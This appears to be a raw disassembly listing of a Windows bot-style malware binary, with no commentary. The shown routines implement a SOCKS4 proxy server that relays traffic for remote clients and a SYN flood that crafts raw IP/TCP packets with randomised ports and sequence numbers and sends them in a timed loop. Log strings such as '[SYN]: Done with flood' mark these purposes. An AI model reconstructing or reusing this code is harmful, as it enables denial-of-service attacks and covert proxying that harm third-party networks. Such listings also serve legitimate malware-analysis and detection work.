add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_414664
pop ecx
pop ecx
push eax
push esi
call sub_414684
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4147FB
push esi
mov edi, eax
call sub_417480
add esp, 24h
mov eax, edi
pop esi
loc_4147DC: ; CODE XREF: sub_414773+22j
pop edi
pop ebx
pop ebp
retn
sub_414773 endp
; =============== S U B R O U T I N E =======================================
sub_4147E0 proc near ; CODE XREF: sub_41475C+Ep
; sub_4147FB+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_4147E9
inc ecx
loc_4147E9: ; CODE XREF: sub_4147E0+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_4147E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147FB proc near ; CODE XREF: .text:00401849p
; sub_414773+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_414817
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_414817
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_414817
cmp byte ptr [ebp+arg_C], 0
jnz short loc_41481A
loc_414817: ; CODE XREF: sub_4147FB+8j
; sub_4147FB+Ej ...
inc [ebp+arg_C]
loc_41481A: ; CODE XREF: sub_4147FB+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_414842
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_41483B
cmp al, 0Dh
jz short loc_41483B
cmp al, 5Ch
jz short loc_41483B
test al, al
jnz short loc_414842
loc_41483B: ; CODE XREF: sub_4147FB+32j
; sub_4147FB+36j ...
add [ebp+arg_C], 100h
loc_414842: ; CODE XREF: sub_4147FB+28j
; sub_4147FB+3Ej
push [ebp+arg_C]
call sub_4147E0
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_41485A
cmp eax, 0FFFFh
jbe short loc_414861
loc_41485A: ; CODE XREF: sub_4147FB+56j
xor eax, eax
jmp loc_4148FF
; ---------------------------------------------------------------------------
loc_414861: ; CODE XREF: sub_4147FB+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_492010
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_414891
loc_414875: ; CODE XREF: sub_4147FB+94j
mov al, [edx+edi]
xor al, bl
jz short loc_414888
cmp al, 0Ah
jz short loc_414888
cmp al, 0Dh
jz short loc_414888
cmp al, 5Ch
jnz short loc_41488C
loc_414888: ; CODE XREF: sub_4147FB+7Fj
; sub_4147FB+83j ...
inc bl
xor edx, edx
loc_41488C: ; CODE XREF: sub_4147FB+8Bj
inc edx
cmp edx, ecx
jb short loc_414875
loc_414891: ; CODE XREF: sub_4147FB+78j
cmp ecx, esi
mov byte_492010, bl
ja short loc_4148BD
push 15h
push offset dword_442474
push [ebp+arg_0]
mov byte_442481, cl
mov byte_442485, bl
call sub_418A00
add esp, 0Ch
push 15h
jmp short loc_4148DE
; ---------------------------------------------------------------------------
loc_4148BD: ; CODE XREF: sub_4147FB+9Ej
push 17h
push offset dword_44245C
push [ebp+arg_0]
mov word_44246A, cx
mov byte_44246F, bl
call sub_418A00
add esp, 0Ch
push 17h
loc_4148DE: ; CODE XREF: sub_4147FB+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_4148FA
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_4148EC: ; CODE XREF: sub_4147FB+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_4148EC
loc_4148FA: ; CODE XREF: sub_4147FB+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_4148FF: ; CODE XREF: sub_4147FB+61j
pop esi
leave
retn
sub_4147FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414902 proc near ; DATA XREF: sub_40C50A+5E83o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_44B6C0 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_44B740 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_44D064[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_44B6EC ; bind
test eax, eax
jnz loc_414AA4
push 0Ah
push edi
call dword_44B6E8 ; listen
test eax, eax
jnz loc_414AA4
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset aSocks4Server_0 ; "[SOCKS4]: Server started on: %s:%d."
push eax
call sub_418D70
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4149DD
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40842D
add esp, 14h
loc_4149DD: ; CODE XREF: sub_414902+B9j
; sub_414902+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_4035E1
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_44B754 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_4161EB
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_44D05C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_414B07
push esi
push esi
call ds:dword_4942F4
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_44D06C[ecx], eax
jz short loc_414A84
loc_414A71: ; CODE XREF: sub_414902+180j
cmp [ebp+var_28], esi
jnz loc_4149DD
push 5
call ds:dword_4942D8
jmp short loc_414A71
; ---------------------------------------------------------------------------
loc_414A84: ; CODE XREF: sub_414902+16Dj
call ds:dword_4942F0
push eax
lea eax, [ebp+var_2D4]
push offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"...
push eax
call sub_418D70
add esp, 0Ch
jmp loc_4149DD
; ---------------------------------------------------------------------------
loc_414AA4: ; CODE XREF: sub_414902+7Bj
; sub_414902+8Cj
push edi
call dword_44B758 ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_414AE7
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40842D
add esp, 14h
loc_414AE7: ; CODE XREF: sub_414902+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_4035E1
push [ebp+var_3C]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
pop ebx
sub_414902 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B07 proc near ; DATA XREF: sub_414902+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_44D064[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_44B6A8 ; select
test eax, eax
jnz short loc_414B88
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_414B88: ; CODE XREF: sub_414B07+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_44B6D8 ; recv
test eax, eax
jg short loc_414BB9
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_414BB9: ; CODE XREF: sub_414B07+98j
cmp [ebp+var_4D0], 4
jnz loc_414DB3
cmp [ebp+var_4CF], 1
jnz loc_414DB3
cmp [ebp+var_44], bl
jz short loc_414C4F
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_414C4F
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"...
call sub_403655
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_4189A0
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_44B710 ; send
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_414C4F: ; CODE XREF: sub_414B07+CFj
; sub_414B07+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_4189A0
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_44B740 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_414CE7
call dword_44B654 ; WSAGetLastError
push eax
push offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("...
call sub_403655
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_4189A0
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_44B710 ; send
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_414CE7: ; CODE XREF: sub_414B07+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_44B668 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_414D56
call dword_44B654 ; WSAGetLastError
push eax
push offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to t"...
call sub_403655
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_4189A0
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_44B710 ; send
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_414D56: ; CODE XREF: sub_414B07+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_44B710 ; send
push dword ptr [esi]
push edi
call sub_414DCB
pop ecx
pop ecx
push edi
call dword_44B758 ; closesocket
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_414DB3: ; CODE XREF: sub_414B07+B9j
; sub_414B07+C6j
push dword ptr [esi]
call dword_44B758 ; closesocket
push [ebp+arg_0]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
sub_414B07 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414DCB proc near ; CODE XREF: sub_414B07+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_414DE1: ; CODE XREF: sub_414DCB+C5j
; sub_414DCB+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_414DF9: ; CODE XREF: sub_414DCB+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_414E09
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_414DF9
loc_414E09: ; CODE XREF: sub_414DCB+33j
cmp ecx, 1
jnz short loc_414E1E
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_414E1E: ; CODE XREF: sub_414DCB+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_44B6A8 ; select
loc_414E40: ; DATA XREF: .data:004438ECo
lea eax, [ebp+var_104]
push eax
push ebx
call dword_44B5B8 ; __WSAFDIsSet
test eax, eax
jz short loc_414E7E
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_44B6D8 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_414EC6
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jz short loc_414EC6
loc_414E7E: ; CODE XREF: sub_414DCB+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_44B5B8 ; __WSAFDIsSet
test eax, eax
jz loc_414DE1
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_44B6D8 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_414EC6
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_44B710 ; send
cmp eax, 0FFFFFFFFh
jnz loc_414DE1
loc_414EC6: ; CODE XREF: sub_414DCB+9Aj
; sub_414DCB+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_414DCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414ECB proc near ; DATA XREF: sub_40C50A+390Do
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_415219
push eax
lea eax, [ebp+var_414]
push offset aSynDoneWithFlo ; "[SYN]: Done with flood (%iKB/sec)."
push eax
call sub_418D70
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_414F48
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40842D
add esp, 14h
loc_414F48: ; CODE XREF: sub_414ECB+5Bj
lea eax, [ebp+var_414]
push eax
call sub_4035E1
push [ebp+var_10]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
sub_414ECB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414F67 proc near ; CODE XREF: sub_415219+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_44B638 ; WSAStartup
test eax, eax
jz short loc_414FA7
xor eax, eax
jmp loc_415215
; ---------------------------------------------------------------------------
loc_414FA7: ; CODE XREF: sub_414F67+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_44B764 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41520D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_44B6A0 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_415203
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_44B6C0 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_44B6C0 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_44B6C0 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_44B6C0 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call ds:dword_494328
lea eax, [ebp+var_8]
push eax
call ds:dword_494324
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41A2F0
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_415092: ; CODE XREF: sub_414F67+25Dj
; sub_414F67+26Bj
mov [ebp+var_24], bx
call sub_419000
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_44B6C0 ; htons
mov [ebp+var_34], ax
call sub_419000
mov edi, eax
shl edi, 10h
call sub_419000
or edi, eax
push edi
call dword_44B6C0 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_44B6BC ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_44B6C0 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_418A00
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_418A00
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40B045
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_418A00
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_418A00
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_4189A0
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40B045
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_418A00
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_44B724 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4151D7
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_494324
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_415200
jl loc_415092
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_415200
jmp loc_415092
; ---------------------------------------------------------------------------
loc_4151D7: ; CODE XREF: sub_414F67+247j
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset aSynSendErrorD_ ; "[SYN]: Send error: <%d>."
push eax
call sub_418D70
lea eax, [ebp+var_F4]
push eax
call sub_4035E1
add esp, 10h
jmp short loc_415203
; ---------------------------------------------------------------------------
loc_415200: ; CODE XREF: sub_414F67+25Bj
; sub_414F67+269j
mov ebx, [ebp+arg_8]
loc_415203: ; CODE XREF: sub_414F67+78j
; sub_414F67+297j
push [ebp+var_C]
call dword_44B758 ; closesocket
pop esi
loc_41520D: ; CODE XREF: sub_414F67+5Bj
call dword_44B620 ; WSACleanup
mov eax, ebx
loc_415215: ; CODE XREF: sub_414F67+3Bj
pop edi
pop ebx
leave
retn
sub_414F67 endp
; =============== S U B R O U T I N E =======================================
sub_415219 proc near ; CODE XREF: sub_414ECB+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AED0
push [esp+10h+arg_4]
mov esi, eax
call sub_4195F0
push [esp+14h+arg_8]
mov ebx, eax
call sub_4195F0
mov edi, eax
call sub_419000
cdq
loc_415243: ; DATA XREF: .data:004437B8o
; .data:004437C0o
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_414F67
add esp, 1Ch
test eax, eax
jnz short loc_415264
push 1
pop eax
loc_415264: ; CODE XREF: sub_415219+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_415219 endp
; =============== S U B R O U T I N E =======================================
sub_415273 proc near ; CODE XREF: sub_402853+74p
; sub_40C50A+5819p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_494308
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_492018
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_418EF0
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_415273 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152DC proc near ; CODE XREF: sub_405C86+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call ds:dword_4943F4
test eax, eax
jz short loc_41536F
cmp [ebp+var_90], 4
jnz short loc_415345
cmp [ebp+var_8C], esi
jnz short loc_41532D
cmp [ebp+var_84], 1
jnz short loc_415320
push 1
pop esi
loc_415320: ; CODE XREF: sub_4152DC+3Fj
cmp [ebp+var_84], 2
jnz short loc_41536F
push 1
jmp short loc_41536E
; ---------------------------------------------------------------------------
loc_41532D: ; CODE XREF: sub_4152DC+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41533A
loc_415336: ; CODE XREF: sub_4152DC:loc_415354j
push 2
jmp short loc_41536E
; ---------------------------------------------------------------------------
loc_41533A: ; CODE XREF: sub_4152DC+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41536F
jmp short loc_41535F
; ---------------------------------------------------------------------------
loc_415345: ; CODE XREF: sub_4152DC+2Ej
; DATA XREF: .data:00443A20o
cmp [ebp+var_90], 5
jnz short loc_41536F
cmp [ebp+var_8C], esi
loc_415354: ; DATA XREF: .data:00443C0Co
jz short loc_415336
cmp [ebp+var_8C], 1
jnz short loc_415363
loc_41535F: ; CODE XREF: sub_4152DC+67j
push 3
jmp short loc_41536E
; ---------------------------------------------------------------------------
loc_415363: ; CODE XREF: sub_4152DC+81j
cmp [ebp+var_8C], 2
jnz short loc_41536F
push 7
loc_41536E: ; CODE XREF: sub_4152DC+4Fj
; sub_4152DC+5Cj ...
pop esi
loc_41536F: ; CODE XREF: sub_4152DC+25j
; sub_4152DC+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_4152DC endp
; =============== S U B R O U T I N E =======================================
sub_415374 proc near ; CODE XREF: sub_415430+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41537C: ; CODE XREF: sub_415374+35j
; sub_415374+3Bj
call sub_4157AD
push 3E8h
mov edi, eax
mov ebx, edx
call ds:dword_4942D8
call sub_4157AD
sub eax, edi
push 0
sbb edx, ebx
push esi
push edx
push eax
call sub_41A440
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41537C
jb short loc_4153B1
cmp ebx, esi
ja short loc_41537C
loc_4153B1: ; CODE XREF: sub_415374+37j
push 0
push 64h
push edi
push ebx
call sub_41A4B0
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_415424
jb short loc_4153D0
cmp esi, 50h
jnb short loc_4153D5
loc_4153D0: ; CODE XREF: sub_415374+55j
push 4Bh
xor edx, edx
pop eax
loc_4153D5: ; CODE XREF: sub_415374+5Aj
test ecx, ecx
ja short loc_415424
jb short loc_4153E0
cmp esi, 47h
jnb short loc_4153E5
loc_4153E0: ; CODE XREF: sub_415374+65j
push 42h
xor edx, edx
pop eax
loc_4153E5: ; CODE XREF: sub_415374+6Aj
test ecx, ecx
ja short loc_415424
jb short loc_4153F0
cmp esi, 37h
jnb short loc_4153F5
loc_4153F0: ; CODE XREF: sub_415374+75j
push 32h
xor edx, edx
pop eax
loc_4153F5: ; CODE XREF: sub_415374+7Aj
test ecx, ecx
ja short loc_415424
jb short loc_415400
cmp esi, 26h
jnb short loc_415405
loc_415400: ; CODE XREF: sub_415374+85j
push 21h
xor edx, edx
pop eax
loc_415405: ; CODE XREF: sub_415374+8Aj
test ecx, ecx
ja short loc_415424
jb short loc_415410
cmp esi, 1Eh
jnb short loc_415415
loc_415410: ; CODE XREF: sub_415374+95j
push 19h
xor edx, edx
pop eax
loc_415415: ; CODE XREF: sub_415374+9Aj
test ecx, ecx
ja short loc_415424
jb short loc_415420
cmp esi, 0Ah
jnb short loc_415424
loc_415420: ; CODE XREF: sub_415374+A5j
xor eax, eax
xor edx, edx
loc_415424: ; CODE XREF: sub_415374+53j
; sub_415374+63j ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_415374 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
